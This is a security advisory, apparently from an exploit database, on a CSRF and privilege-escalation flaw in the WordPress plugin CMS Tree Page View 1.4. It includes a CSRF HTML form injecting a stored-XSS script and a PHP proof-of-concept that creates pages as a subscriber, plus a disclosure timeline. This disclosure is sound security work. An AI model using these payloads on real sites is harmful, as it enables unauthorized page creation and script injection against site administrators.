WordPress CMS Tree Page View 1.4 CSRF / Privilege Escalation

2018.01.09
Risk: Medium
Local: No
Remote: Yes
CVE: N/A

* Exploit Title: CMS Tree Page View [CSRF, Privilege Escalation] * Discovery Date: 2017-12-12 * Exploit Author: Panagiotis Vagenas * Author Link: https://twitter.com/panVagenas * Vendor Homepage: http://eskapism.se/ * Software Link: https://wordpress.org/plugins/cms-tree-page-view * Version: 1.4 * Tested on: WordPress 4.8.1 * Category: WebApps, WordPress Description ----------- Plugin implements AJAX action `cms_tpv_add_page` which calls back the function `cms_tpv_add_page`. The later does not implement any anti-CSRF controls or security checks. Leveraging a CSRF attack an attacker could perform a Persistent XSS attack if the victim has administrative rights (see PoC). The AJAX action is a privileged one so it's only available for registered users. Even so it doesn't implement any capabilities checks so it's available to all users no matter the access level. This could allow any registered user to create arbitrary posts no matter the access level. PoC --- ### CSRF -> Persistent XSS In this PoC we exploit the `$_POST["page_titles"]` param to perform a Persistent XSS attack. ``` <pre class="lang:html decode:true "><form method="post" action="http://wp-plugin-csrf.dev/wp-admin/admin-ajax.php"> <input type="hidden" name="action" value="cms_tpv_add_page"> <input type="text" name="type" value="after"> <input type="text" name="pageID" value="1"> <input type="text" name="post_type" value="page"> <input type="text" name="page_title" value="<script>alert(2)</script>"> <button type="submit" value="Submit">Submit</button> </form> ``` ### Create Arbitrary Posts In this PoC we use a user with subscriber access to create arbitrary pages. The post\_type is user defined so in the same manner we could create any post type. ``` #!/usr/bin/env php <?php /******************************************************************************* * CMS Tree Page View [Privilege Escalation] * * To install deps run `composer require wordfence/exkit`. * * @author Panagiotis Vagenas <pan.vagenas@gmail.com> * @date 2017-08-09 ******************************************************************************/ require_once __DIR__ . '/vendor/autoload.php'; use Wordfence\ExKit\Cli; use Wordfence\ExKit\Config; use Wordfence\ExKit\Endpoint; use Wordfence\ExKit\ExitCodes; use Wordfence\ExKit\WPAuthentication; Config::get( 'url.base', null, true, 'Enter the site URL' ) || ExitCodes::exitWithFailedPrecondition( 'You must enter a valid URL' ); $s = new \Wordfence\ExKit\Session( null, [], [], [ 'timeout' => 60 ] ); Cli::writeInfo( 'Logging in as subscriber...' ); WPAuthentication::logInAsUserRole( $s, WPAuthentication::USER_ROLE_SUBSCRIBER ); Cli::writeInfo( 'Sending payload...' ); $postData = [ 'action' => 'cms_tpv_add_page', 'type' => 'after', 'pageID' => '1', 'post_type' => 'page', 'page_title' => date('Y-m-d H:i:s'), ]; $r = $s->post( Endpoint::adminAjaxURL(), [], $postData); if(!$r->success || $r->body == '0'){ ExitCodes::exitWithFailed('Failed to retrieve a valid response'); } ExitCodes::exitWithSuccess('Exploitation successful'); ``` Timeline -------- 1. **2017-12-12**: Discovered 2. **2017-12-23**: Vendor notified by email 3. **2018-01-06**: Patch released


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